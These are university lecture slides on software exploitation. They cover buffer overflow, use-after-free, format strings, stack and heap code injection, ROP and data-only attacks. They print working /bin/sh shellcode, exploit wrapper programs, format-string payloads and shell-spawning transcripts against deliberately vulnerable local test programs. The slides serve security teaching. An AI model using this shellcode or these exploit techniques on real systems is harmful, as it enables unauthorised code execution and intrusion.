CS590-SWS/527 Software Security

Exploitation

Asst. Prof. Mathias Payer

Department of Computer Science
Purdue University

TA: Kyriakos Ispoglou

https://nebelwelt.net/teaching/16-527-SoftSec/

Spring 2016

Exploitation: Context/Disclaimer

- In this module we focus on *exploiting* actual software.
- We will discuss both basic and advanced exploitation techniques.
- For this module we assume that the given software has (i) a security-relevant vulnerability and (ii) that we know this vulnerability.
- You may use this knowledge to test programs locally on your own machine.
- It is *illegal* to exploit software vulnerabilities on remote machines without prior permission form the owner.

Table of Contents

Buffer Overflow

```
1 void vuln(char *buf) {
2   char bounded[LEN], *ptr = bounded;
3   while (*buf != 0)
4     *(ptr++) = *buf++;
5 }
```

- Very powerful attack.
- Attacker overwrites stack frame with arbitrary data.
- Common targets are: other local variables, return instruction pointer, frame pointer.
- Allows to both inject code and overwrite function pointer in one step.
- On the heap, the attack either targets heap data structures or adjacent objects.

Use After Free

```
1 char vuln(char *buf) {
2   char *bounded = (char*)malloc(LEN), *ptr = bounded;
3   while (*buf != 0)
4     *(ptr++) = *buf++;
5   free(bounded)
6   // usually something in between...
7   return (bounded[LEN/2] == 0) ? 1 : 0;
8 }
```

- Powerful attack.
- After a memory area has been repurposed, a stale pointer is used to either read or write from that memory object.
- Often used to corrupt vtable pointers (e.g., when a memory area was first an object, then a char array).

Format string

```
1 char vuln(char *buf) {
2   printf(buf);
3 }
```

- Often underestimated.
- Arbitrary memory writes by controlling written bytes
- `"AAAA%1$49387c%6$hn%1$63947c%5$hn"`
- Encode address, write bytes, store written bytes (halfword), repeat.
- `printf("100% not vulnerable.  Or is it?\n");`

Format string

- An attacker controlled format string results in random writes.
- Constraint: target address must be somewhere on the stack (if attacker-controlled format string is on the stack then addresses – without "\0" can be encoded in the string itself).
- Format string may consume arbitrary parameters on the stack, violates stack integrity as any parameter can be read.

Direct overwrite

```
1 char vuln(char *buf, int index) {
2   buf[index] = 15;
3 }
```

- Arbitrary memory write.
- Used to set up larger attacks (if repeatable callable).
- High flexibility but both location of the source and target buffer must be known.

Table of Contents

Code Injection

- First, inject shellcode somewhere into the process (e.g., a stack buffer, environment variable, argument, or heap buffer).
- (Ensure that buffer location is executable and known.)
- Redirect control-flow to the buffer.

Shellcode: from C to assembly to machine code

```
1  int shell() {
2    asm("\
3  needle: jmp gofar\n\
4  goback: pop %rdi\n\
5          xor %rax, %rax\n\
6          movb $0x3b, %al\n\
7          xor %rsi, %rsi\n\
8          xor %rdx, %rdx\n\
9          syscall\n\
10 gofar:  call goback\n\
11 .string \"/bin/sh\"\n\
12 ");
13 }
14
15 int main() {
16   shell();
17 }
```

Shellcode

```
00000000004004f1 <needle>:
  4004f1:  eb 0e                          jmp     400501 <gofar>

00000000004004f3 <goback>:
  4004f3:  5f                             pop     %rdi
  4004f4:  48 31 c0                       xor     %rax,%rax
  4004f7:  b0 3b                          mov     $0x3b,%al
  4004f9:  48 31 f6                       xor     %rsi,%rsi
  4004fc:  48 31 d2                       xor     %rdx,%rdx
  4004ff:  0f 05                          syscall

0000000000400501 <gofar>:
  400501:  e8 ed ff ff ff                 callq   4004f3 <goback>
  400506:  2f                             (bad)
  400507:  62                             (bad)
  400508:  69 6e 2f 73 68 00 5d           imul    $0x5d006873,0x2f
    (%rsi),%ebp
```

Code Injection: Stack

```
1  int main(int argc, char* argv[]) {
2    char cookie[32];
3    printf("Give me a cookie (%p, %p)\n", cookie, getenv("
       EGG"));
4    strcpy(cookie, argv[1]);
5    printf("Thanks for the %s\n", cookie);
6    return 0;
7  }
8
9  // Compile: gcc -g -fno-stack-protector -z execstack
       stack.c -o sinj
10 // Run w/o ASLR: setarch `arch` -R ./sinj
```

Code Injection: Stack

```
1  00000000004005cd <main>:
2    4005cd:        55                          push   %rbp
3    4005ce:        48 89 e5                    mov    %rsp,%rbp
4    4005d1:        48 83 ec 30                 sub    $0x30,%rsp
5    4005d5:        89 7d dc                    mov    %edi,-0x24(%rbp)
6    4005d8:        48 89 75 d0                 mov    %rsi,-0x30(%rbp)
7    4005dc:        bf c4 06 40 00              mov    $0x4006c4,%edi
8    4005e1:        e8 aa fe ff ff              callq  400490 <getenv@plt>
9    4005e6:        48 89 c2                    mov    %rax,%rdx
10   4005e9:        48 8d 45 e0                 lea    -0x20(%rbp),%rax
11   4005ed:        48 89 c6                    mov    %rax,%rsi
12   4005f0:        bf c8 06 40 00              mov    $0x4006c8,%edi
13   4005f5:        b8 00 00 00 00              mov    $0x0,%eax
14   4005fa:        e8 b1 fe ff ff              callq  4004b0 <printf@plt>
15   4005ff:        48 8b 45 d0                 mov    -0x30(%rbp),%rax
16   400603:        48 83 c0 08                 add    $0x8,%rax
17   400607:        48 8b 10                    mov    (%rax),%rdx
18   40060a:        48 8d 45 e0                 lea    -0x20(%rbp),%rax
19   40060e:        48 89 d6                    mov    %rdx,%rsi
20   400611:        48 89 c7                    mov    %rax,%rdi
21   400614:        e8 87 fe ff ff              callq  4004a0 <strcpy@plt>
22   400619:        48 8d 45 e0                 lea    -0x20(%rbp),%rax
23   40061d:        48 89 c6                    mov    %rax,%rsi
24   400620:        bf e3 06 40 00              mov    $0x4006e3,%edi
25   400625:        b8 00 00 00 00              mov    $0x0,%eax
26   40062a:        e8 81 fe ff ff              callq  4004b0 <printf@plt>
27   40062f:        b8 00 00 00 00              mov    $0x0,%eax
28   400634:        c9                          leaveq
29   400635:        c3                          retq
```

Wrapper

```
1  #define BUFSIZE 0x20
2  #define EGGLOC 0x7fffffffefc8
3  int main(int argc, char* argv[]) {
4    char shellcode[] = "EGG="
5      "\xeb\x0e"          // jump +0xe (+14)
6      "\x5f"              // push %rdi
7      "\x48\x31\xc0"      // xor %rax, %rax
8      "\xb0\x3b"          // mov $0x3b, %al
9      "\x48\x31\xf6"      // xor %rsi, %rsi
10     "\x48\x31\xd2"      // xor %rdx, %rdx
11     "\x0f\x05"          // syscall
12     "\xe8\xed\xff\xff\xff\x2f"  // call 0xed (-19)
13     "\x62\x69\x6e\x2f\x73\x68\x00\x5d"; // /bin/bash+\0
14
15   // buffer used for overflow
16   char buf[256];
17
18   // fill buffer + ebp with 0x41's
19   for (int i = 0; i <BUFSIZE+sizeof(void*); buf[i++] = 'A');
20
21   // overwrite RIP with eggloc
22   char **buff = (char**)(&buf[BUFSIZE+sizeof(void*)]);
23   *(buff++) = (void*)EGGLOC;
24   *buff = (void*)0x0;
25
26   // setup execution environment and fire exploit
27   char *args[3] = { "./sinj", buf, NULL };
28   char *envp[2] = { shellcode, NULL};
29   execve("./sinj", args, envp);
30   return 0;
31 }
```

Stack code injection

```
gannimo@localhost:~/repos/teach/CS527/examples{0}$ \
setarch x86_64 -R ./stack-ci-wrapper

Give me a cookie (0x7fffffffed10, 0x7fffffffefd3)
Thanks for the AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ whoami
gannimo
$ exit
```

Table of Contents

Code Injection: Heap

```
1  struct data {
2    char buf[32];
3    void (*fct)(int);
4  } *ptr;  // watch out: global!
5
6  int main(int argc, char* argv[]) {
7    ptr = (struct data*)malloc(sizeof(struct data));
8    ptr->fct = &exit;
9    printf("Give me a cookie (%p)\n", ptr);
10   strcpy(ptr->buf, argv[1]);
11   printf("Thanks for the %s\n", ptr->buf);
12   ptr->fct(0);
13   return 0;
14 }
15
16 // Compile: gcc -g -fno-stack-protector -z execstack
       heap.c -o hinj
17 // Run w/o ASLR: setarch `arch` -R ./hinj
```

Code Injection: Heap

```
1  000000000040060d <main>:
2    40060d: 55                          push   %rbp
3    40060e: 48 89 e5                    mov    %rsp,%rbp
4    400611: 48 83 ec 10                 sub    $0x10,%rsp
5    400615: 89 7d fc                    mov    %edi,-0x4(%rbp)
6    400618: 48 89 75 f0                 mov    %rsi,-0x10(%rbp)
7    40061c: bf 28 00 00 00              mov    $0x28,%edi
8    400621: e8 da fe ff ff              callq  400500 <malloc@plt>
9    400626: 48 89 05 33 0a 20 00        mov    %rax,0x200a33(%rip)        # 601060 <ptr>
10   40062d: 48 8b 05 2c 0a 20 00        mov    0x200a2c(%rip),%rax        # 601060 <ptr>
11   400634: 48 c7 40 20 10 05 40        movq   $0x400510,0x20(%rax)
12   40063b: 00
13   ... (removed one of the printf statements)
14   400655: 48 8b 45 f0                 mov    -0x10(%rbp),%rax
15   400659: 48 83 c0 08                 add    $0x8,%rax
16   40065d: 48 8b 10                    mov    (%rax),%rdx
17   400660: 48 8b 05 f9 09 20 00        mov    0xe009f9(%rip),%rax        # 601060 <ptr>
18   400667: 48 89 d6                    mov    %rdx,%rsi
19   40066a: 48 89 c7                    mov    %rax,%rdi
20   40066d: e8 4e fe ff ff              callq  4004c0 <strcpy@plt>
21   400672: 48 8b 05 e7 09 20 00        mov    0x2009e7(%rip),%rax        # 601060 <ptr>
22   400679: 48 89 c6                    mov    %rax,%rsi
23   40067c: bf 4b 07 40 00              mov    $0x40074b,%edi
24   400681: b8 00 00 00 00              mov    $0x0,%eax
25   400686: e8 45 fe ff ff              callq  4004d0 <printf@plt>
26   40068b: 48 8b 05 ce 09 20 00        mov    0x2009ce(%rip),%rax        # 601060 <ptr>
27   400692: 48 8b 40 20                 mov    0x20(%rax),%rax
28   400696: bf 00 00 00 00              mov    $0x0,%edi
29   40069b: ff d0                       callq  *%rax
30   40069d: b8 00 00 00 00              mov    $0x0,%eax
31   4006a2: c9                          leaveq
```

Wrapper

```
1  #define BUFSIZE 0x20
2  #define EGGLOC 0x602010
3  int main(int argc, char* argv[]) {
4    char shellcode[] =
5      "\x48\x31\xd2"       // xor    %rdx, %rdx
6      "\x52"               // push   %rdx
7      "\x58"               // pop    %rax
8      "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
9                           // mov $0x68732f6e69622f2f, %rbx ("//bin/bash")
10     "\x48\xc1\xeb\x08"   // shr    $0x8, %rbx
11     "\x53"               // push   %rbx
12     "\x48\x89\xe7"       // mov    %rsp, %rdi
13     "\x50"               // push   %rax
14     "\x57"               // push   %rdi
15     "\x48\x89\xe6"       // mov    %rsp, %rsi
16     "\xb0\x3b"           // mov    $0x3b, %al
17     "\x0f\x05";          // syscall
18
19   char buf[256];
20   memcpy(buf, shellcode, sizeof(shellcode)-1);
21   for (int i = sizeof(shellcode)-1; i < BUFSIZE; buf[i++] = 'A');
22
23   // overwrite fctptr with eggloc
24   char **buff = (char**)(&buf[BUFSIZE]);
25   *(buff) = (void*)EGGLOC;
26
27   // setup execution environment and fire exploit
28   char *args[3] = { "./heap", buf, NULL };
29   execve("./heap", args, NULL);
30   return 0;
31 }
```

Heap code injection

```
gannimo@localhost:~/repos/teach/CS527/examples{0}$ \
setarch x86_64 -R ./heap-ci-wrapper

Give me a cookie (0x602010)
Thanks for the H1RXH//bin/shHSHPWH;shHSHPWH ‘
$ whoami
gannimo
$ exit
```

Table of Contents

Format string: no defenses

- All addresses are known (no randomization, no execution protection, no stack protection.
- Use direct overwrite of return instruction pointer to redirect control flow to code in format string itself.
- Yes, there is shellcode that only consists of printable characters.

Format string: source code

```
1  void foo(char *prn)
2  {
3    char text[1000];
4    strcpy(text, prn);
5    printf(text);
6  }
7
8  void not_called()
9  {
10   printf("\nwe are now behind enemy lines...\n");
11   system("/bin/sh");
12   exit(1);
13 }
14
15 void main() {
16   foo(argv[1]);
17 }
```

Format string: exploit construction

- Assume that only DEP is active (no ASLR, no stack canaries), therefore we can directly overwrite the return instruction pointer
- Using `gdb` we learn that the RIP may be `0xffffcf7c`, `0xffffcf4c`, or `0xffffcb3c` depending on if we are looking at the RIP from `main`, `foo`, or `printf`.
- The target function is at `0x0804850b`.
- Using either `objdump -d` and clever reasoning or by runtime testing we find that the format string is 6 "words" up.
- `"AAAABBBBCCCC 1:%x 2:%x 3:%x 4:%x 5:%x 6:%x 7:%x 8:%x 9:%x a:%x b:%x c:%x d:%x e:%x f:%x"`
- We therefore prepare a format string that writes two half words to the encoded address on the stack (6 and 7 words up on).

```
00000000  7c cf ff ff 7e cf ff ff  25 31 24 32 30 34 34 63  ||...~...%1$2044c|
00000010  25 37 24 68 6e 25 31 24  33 32 30 30 37 63 25 36  |%7$hn%1$32007c%6|
00000020  24 68 6e 0a                                       |$hn.|
```

Format string: simple attack

```
gannimo@localhost:~/repos/teach/CS527/examples{0}$ \
gdb -q --args ./01-formatstring `./sop.py -w 0xffffcf7c -v 0x0804850b -s 6`

Reading symbols from ./01-formatstring...(no debugging symbols
found)...done.

(gdb) r

...
                                                    ?
Returned safely

we are now behind enemy lines...
$ whoami
gannimo
$ exit
[Inferior 1 (process 26455) exited with code 01]
(gdb) q
```

We can also use `setarch x86_64 -R ...` instead of using gdb. Why do the offsets change?

Stack canaries and DEP

- What changes if we add stack canaries to the defenses mix (i.e., using DEP and stack canaries but no ASLR)?
- Offsets will change and there will be stack canaries.
- The addresses of the functions may change and the stack addresses may change.
- The target function is now at `0x08048583`.
- The stack RIP locations are 5 words up at `0xffffcf6c`, `0xffffcf3c`, or `0xffffcb2c` depending on if we are looking at the RIP from `main`, `foo`, or `printf`.

```
00000000  6c cf ff ff 6e cf ff ff  25 31 24 32 30 34 34 63  |l...n...%1$2044c|
00000010  25 36 24 68 6e 25 31 24  33 32 31 32 37 63 25 35  |%6$hn%1$32127c%5|
00000020  24 68 6e 0a                                       |$hn.|
```

Format string: DEP and stack canaries

```
gannimo@localhost:~/repos/teach/CS527/examples{0}$ \
gdb -q --args ./02-formatstring `./sop.py -w 0xffffcf6c -v 0x08048583 -s 5`

Reading symbols from ./01-formatstring...(no debugging symbols
found)...done.

(gdb) r

...
                                                    1
Returned safely

we are now behind enemy lines...
$ whoami
gannimo
$ exit
[Inferior 1 (process 26959) exited with code 01]
(gdb) q
```

Now, let's add ASLR to the mix.

- The stack addresses are no longer fixed but on 32-bit the main executable may stay at the same location.
- Leverage a well-known writable area to place some data ("/bin/sh").
- We then need to pivot the stack to adjust the stack pointer to our buffer so that we can ROP away. We overwrite a GOT.PLT pointer with the gadget that lifts the stack, then wait until this stack pivot gadget is executed.
- The first ROP gadget in our buffer then reads in registers, adjusts the stack frame and calls our target function (`system`) with the supplied parameter.

ROP payload

- Start with a slide to adjust offsets (4 words in our case)
- Prepare ROP invocation frames to call, e.g., `system` or other functionality.
- Prepare 3 writes: first two words write "/bin/sh" to a fixed address, last write redirects a GOT.PLT pointer to the first gadget.

```
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000010  b3 ba f3 c0 f0 83 04 08  10 a0 04 08 10 a0 04 08  |................|
00000020  12 a0 04 08 14 a0 04 08  16 a0 04 08 18 a0 04 08  |................|
00000030  1a a0 04 08 25 31 24 32  38 32 31 33 63 25 31 33  |....%1$28213c%13|
00000040  24 68 6e 25 31 24 36 32  34 30 36 63 25 31 32 24  |$hn%1$62406c%12$|
00000050  68 6e 25 31 24 34 30 35  30 35 63 25 31 35 24 68  |hn%1$40505c%15$h|
00000060  6e 25 31 24 32 39 33 38  33 63 25 31 34 24 68 6e  |n%1$29383c%14$hn|
00000070  25 31 24 33 38 31 30 31  63 25 31 37 24 68 6e 25  |%1$38101c%17$hn%|
00000080  31 24 33 32 33 38 39 63  25 31 36 24 68 6e 0a     |1$32389c%16$hn.|
0000008f
```

Format string: DEP, stack canaries, and ASLR

```
gannimo@localhost:~/repos/teach/CS527/examples{0}$ \
./03-formatstring-2ROP `./sop.py -r 0x41414141 -r 0x41414141 -r 0x41414141 -r \
0x41414141 -r 0xc0f3bab3 -r 0x080483f0 -r 0x0804a010 -s 12 -w 0x804a010 -v \
0x6e69622f -w 0x804a014 -v 0x0068732f -w 0x804a018 -v 0x08048689` \

...
\[\033[0;32m\]\u\[\033[0;37m\]@\[\033[0;36m\]\h\[\033[0;37m\]:\[\033[1;34m\]\w
\[\033[0;37m\]{\[\033[0;31m\]0\[\033[0;37m\]}\[\033[0;32m\]$\[\033[0;37m\]

export PS1="$ "
$ whoami
gannimo
$ exit
Segmentation fault
gannimo@localhost:~/repos/teach/CS527/examples{139}$
```

Table of Contents

Data-Only Attacks

Data-only attacks can be as powerful as control-flow hijack attacks.

```
1  void   do_authentication() {
2    int authenticated = 0;
3    while (!authenticated) {
4      type = read_packet(); // vulnerable
5      switch (type) {
6        case SSH_CMSG_AUTH_PASSWORD:
7          if (auth_pw(user, pw))
8            authenticated = 1;
9        case 2: ...
10     }
11     if (authenticated) break;
12   }
13 }
```

Control-Flow Bending

- Data-only attack: Overwriting arguments to `exec()`
- Non-control data attack: Overwriting `is_admin` flag
- Control-Flow Bending (CFB): Modify function pointer to valid alternate target
  1. Attacker-controlled execution along valid CFG
  2. Generalization of non-control-data attacks
  3. Each individual control-flow transfer is valid
  4. Execution trace may not match non-exploit case

Table of Contents

Summary

- Current defenses protect against several attacks but some vectors remain open
- Return-Oriented Programming is a powerful attack but relies on knowledge of gadget locations (how can they be discovered?).
- Format string attacks are interesting and allow mitigation of several defenses.
- Data-only attacks remain a threat even if control-flow remains protected.

Questions?

?